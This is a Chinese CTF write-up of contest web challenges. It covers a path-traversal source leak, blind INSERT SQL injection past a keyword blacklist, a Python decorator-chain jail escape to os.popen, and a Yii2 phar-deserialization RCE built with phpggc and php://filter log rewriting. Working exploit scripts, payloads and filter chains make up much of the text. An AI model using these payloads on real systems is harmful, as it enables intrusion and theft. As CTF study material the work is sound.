image-20230223164215602

复现一下线下赛的web题目

classroom

用/download路由来获得源码

1
2
3
4
5
6
@app.route('/download/<filename>')
def download(filename):
if '..' in filename:
filename = "uploads/demo.jpg"
filename = filename.replace("_", "/")
return send_from_directory("./", filename, as_attachment=True)

insert注入

正常功能中有一个登录和一个注册,都存在sql注入的风险,这里给出关键代码

黑名单

1
2
3
4
5
6
def safe_waf(sql):
blacklist = ["sys", "sql", "thread","if", "regexp", "cmp", "locate", "match","find","field","#","sleep","repeat","lock","bench","like","count","=","xor","&&","||"]
for black in blacklist:
if black in sql:
return False
return True

/login路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username = request.values.get("Name")
password = request.values.get("Password")
if safe_waf(username) and safe_waf(password):
sql = 'select password from users where username = "'+re.escape(username)+'"'
r = conn.execute(sql)
result = r.fetchall()
if result:
pwd = ''.join(result[0])
if password == pwd:
session['username'] = username
return redirect('/')
return render_template("login.html", mes="账号或者密码错误")
else:
return render_template("login.html", msg="安全检查未通过")

/register路由

1
2
3
4
5
6
7
8
username = re.escape(request.values.get("Name"))
password = request.values.get("Password")
if safe_waf(username) and safe_waf(password):
sql = 'insert into users (username, password) values("' + username + '","' + password + '")'
r = conn.execute(sql)
print(r.rowcount)
else:
return render_template("register.html", mes="安全检查未通过")

登录中的参数经过re.escape()的过滤,我们可以先从注册功能开始进行注入,/register路由的password参数没有任何过滤,可以进行insert注入

1
Password=1" < binary(select * from (select password from users limit 1) tmp))-- 

注入后再进行登录,即可知道插入的这条记录的密码是0还是1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def inj():
username = 'ar'
password = ''
payload = '" < binary(select * from (select password from users limit 1) tmp))-- '
n = 1
for i in range(20):
for i in range(48,123):
# print({"Name":username+str(n),"Password":(password+chr(i)+payload)})
mydata={"Name":username+str(n),"Password":password+chr(i)+payload}
r0=requests.post(url+"/register",data=mydata,proxies=myproxy)
r1 = requests.post(url + "/register", data=mydata, proxies=myproxy)
# print(r0.text)
r = requests.post(url + "/login", data={"Name":username+str(n),"Password":"0"})
# print(r.text)
n=n+1
if "错误" not in r.text:
password+=chr(i-1)
print(password)
break
if i == 122:
return password

decorator RCE

一个国外比赛的原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@print
@list
@eval
@bytes
@copyright._Printer__filenames.__add__
@list
@str.encode
@chr
@len
@StopAsyncIteration.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@len.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@int.real.__name__.strip
@len.__name__.format
@copyright._Printer__filenames.append
@len
@ValueError.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@StopIteration.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@open.__name__.format
@copyright._Printer__filenames.append
@len
@set.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@__import__.__name__.__add__
@str
@tuple
@str.split
@str.lower
@OSError.__name__.rstrip
@TypeError.__name__.format
class room: ...

效果如下

1
print(list(eval(b'__import__("os",).popen("./rea*")')))

loglog

yii2框架的漏洞,当时断网根本不会挖

pop链

index路由提供一个data参数来进行file_get_contents,可以用来触发phar反序列化,所以可以考虑找找链子

1
2
3
4
5
6
7
8
9
public function actionIndex()
{
if (!Yii::$app->user->isGuest) {
$data = Yii::$app->request->get('data');
$res = file_get_contents($data);
file_put_contents($data,$res);
}
return $this->render('index');
}

changelog中找到版本:2.0.41.1 March 04, 2021,网上可以找到这个版本公开的链子

奇安信攻防社区-Yii2.0.42反序列化分析(一) (butian.net)

经过测试后只有上面第一条可以打通,至于第二条为什么没通,我也没去调试,以后有时间可以细看

用phpggc生成一下payload

1
2
PS E:\tools\php_tools\phpggc> php .\phpggc Yii2/RCE3 system calc -p phar -b
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpRAQAAAQAAABEAAAABAAAAAAAbAQAATzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6NDoiY2FsYyI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO3M6MjoiMTAiO319fQgAAAB0ZXN0LnR4dAQAAAD7xPhjBAAAAAx+f9i2AQAAAAAAAHRlc3RrxfESlg7IKU4NoTP/UycabojalQIAAABHQk1C

写入phar

这里的思路和CVE-2021-3129类似

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

清空log文件

这里给出两种方法

1
2
3
data=php://filter/read=consumed/resource=../runtime/logs/app.log

data=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phar编码

前面加入一些填充字符,否则convert.quoted-printable-decode会报错

1
2
3
4
5
<?php
echo file_get_contents("php://filter/convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode/resource=exp.phar");
?>

aaaaaaaaaaaaaaaaaaaaaaaaaaaaP%3d00D%3d009%3d00w%3d00a%3d00H%3d00A%3d00g%3d00X%3d001%3d009%3d00I%3d00Q%3d00U%3d00x%3d00U%3d00X%3d000%3d00N%3d00P%3d00T%3d00V%3d00B%3d00J%3d00T%3d00E%3d00V%3d00S%3d00K%3d00C%3d00k%3d007%3d00I%3d00D%3d008%3d00%2b%3d00D%3d00Q%3d00p%3d00R%3d00A%3d00Q%3d00A%3d00A%3d00A%3d00Q%3d00A%3d00A%3d00A%3d00B%3d00E%3d00A%3d00A%3d00A%3d00A%3d00B%3d00A%3d00A%3d00A%3d00A%3d00A%3d00A%3d00A%3d00b%3d00A%3d00Q%3d00A%3d00A%3d00T%3d00z%3d00o%3d00z%3d00M%3d00j%3d00o%3d00i%3d00Q%3d002%3d009%3d00k%3d00Z%3d00W%3d00N%3d00l%3d00c%3d00H%3d00R%3d00p%3d00b%3d002%3d005%3d00c%3d00R%3d00X%3d00h%3d000%3d00Z%3d00W%3d005%3d00z%3d00a%3d00W%3d009%3d00u%3d00X%3d00F%3d00J%3d001%3d00b%3d00l%3d00B%3d00y%3d00b%3d002%3d00N%3d00l%3d00c%3d003%3d00M%3d00i%3d00O%3d00j%3d00E%3d006%3d00e%3d003%3d00M%3d006%3d00N%3d00D%3d00M%3d006%3d00I%3d00g%3d00B%3d00D%3d00b%3d002%3d00R%3d00l%3d00Y%3d002%3d00V%3d00w%3d00d%3d00G%3d00l%3d00v%3d00b%3d00l%3d00x%3d00F%3d00e%3d00H%3d00R%3d00l%3d00b%3d00n%3d00N%3d00p%3d00b%3d002%3d005%3d00c%3d00U%3d00n%3d00V%3d00u%3d00U%3d00H%3d00J%3d00v%3d00Y%3d002%3d00V%3d00z%3d00c%3d00w%3d00B%3d00w%3d00c%3d00m%3d009%3d00j%3d00Z%3d00X%3d00N%3d00z%3d00Z%3d00X%3d00M%3d00i%3d00O%3d002%3d00E%3d006%3d00M%3d00T%3d00p%3d007%3d00a%3d00T%3d00o%3d00w%3d00O%3d000%3d008%3d006%3d00M%3d00j%3d00A%3d006%3d00I%3d00k%3d00Z%3d00h%3d00a%3d002%3d00V%3d00y%3d00X%3d00F%3d00Z%3d00h%3d00b%3d00G%3d00l%3d00k%3d00R%3d002%3d00V%3d00u%3d00Z%3d00X%3d00J%3d00h%3d00d%3d00G%3d009%3d00y%3d00I%3d00j%3d00o%3d00z%3d00O%3d00n%3d00t%3d00z%3d00O%3d00j%3d00E%3d00y%3d00O%3d00i%3d00I%3d00A%3d00K%3d00g%3d00B%3d00n%3d00Z%3d00W%3d005%3d00l%3d00c%3d00m%3d00F%3d000%3d00b%3d003%3d00I%3d00i%3d00O%3d000%3d008%3d006%3d00M%3d00j%3d00I%3d006%3d00I%3d00k%3d00Z%3d00h%3d00a%3d002%3d00V%3d00y%3d00X%3d00E%3d00R%3d00l%3d00Z%3d00m%3d00F%3d001%3d00b%3d00H%3d00R%3d00H%3d00Z%3d00W%3d005%3d00l%3d00c%3d00m%3d00F%3d000%3d00b%3d003%3d00I%3d00i%3d00O%3d00j%3d00E%3d006%3d00e%3d003%3d00M%3d006%3d00M%3d00T%3d00A%3d006%3d00I%3d00g%3d00A%3d00q%3d00A%3d00G%3d00R%3d00l%3d00Z%3d00m%3d00F%3d001%3d00b%3d00H%3d00Q%3d00i%3d00O%3d003%3d00M%3d006%3d00N%3d00D%3d00o%3d00i%3d00Y%3d002%3d00F%3d00s%3d00Y%3d00y%3d00I%3d007%3d00f%3d00X%3d00M%3d006%3d00M%3d00T%3d00I%3d006%3d00I%3d00g%3d00A%3d00q%3d00A%3d00H%3d00Z%3d00h%3d00b%3d00G%3d00l%3d00k%3d00Y%3d00X%3d00R%3d00v%3d00c%3d00i%3d00I%3d007%3d00c%3d00z%3d00o%3d002%3d00O%3d00i%3d00J%3d00z%3d00e%3d00X%3d00N%3d000%3d00Z%3d00W%3d000%3d00i%3d00O%3d003%3d00M%3d006%3d00M%3d00T%3d00M%3d006%3d00I%3d00g%3d00A%3d00q%3d00A%3d00G%3d001%3d00h%3d00e%3d00F%3d00J%3d00l%3d00d%3d00H%3d00J%3d00p%3d00Z%3d00X%3d00M%3d00i%3d00O%3d003%3d00M%3d006%3d00M%3d00j%3d00o%3d00i%3d00M%3d00T%3d00A%3d00i%3d00O%3d003%3d001%3d009%3d00f%3d00Q%3d00g%3d00A%3d00A%3d00A%3d00B%3d000%3d00Z%3d00X%3d00N%3d000%3d00L%3d00n%3d00R%3d004%3d00d%3d00A%3d00Q%3d00A%3d00A%3d00A%3d00C%3d00%2f%3d00w%3d00v%3d00h%3d00j%3d00B%3d00A%3d00A%3d00A%3d00A%3d00A%3d00x%3d00%2b%3d00f%3d009%3d00i%3d002%3d00A%3d00Q%3d00A%3d00A%3d00A%3d00A%3d00A%3d00A%3d00A%3d00H%3d00R%3d00l%3d00c%3d003%3d00Q%3d00d%3d00%2f%3d00r%3d00V%3d00s%3d00U%3d00c%3d00Q%3d002%3d00P%3d00%2f%3d00v%3d00t%3d003%3d00j%3d00R%3d00O%3d00v%3d00I%3d000%3d00e%3d006%3d00g%3d005%3d00R%3d00W%3d00A%3d00I%3d00A%3d00A%3d00A%3d00B%3d00H%3d00Q%3d00k%3d001%3d00C%3d00

解码并写入log

按照原来的顺序写入一遍,日志中其余的字符都会被convert.base64-decode给去除

1
data=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

写入后的效果如下

image-20230225000131767

触发反序列化

1
data=phar://../runtime/logs/app.log

最后会弹10次计算器

Reference

奇安信攻防社区-Yii2.0.42反序列化分析(一) (butian.net)

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

CVE-2021-3129:Laravel远程代码执行复现分析 - 腾讯云开发者社区-腾讯云 (tencent.com)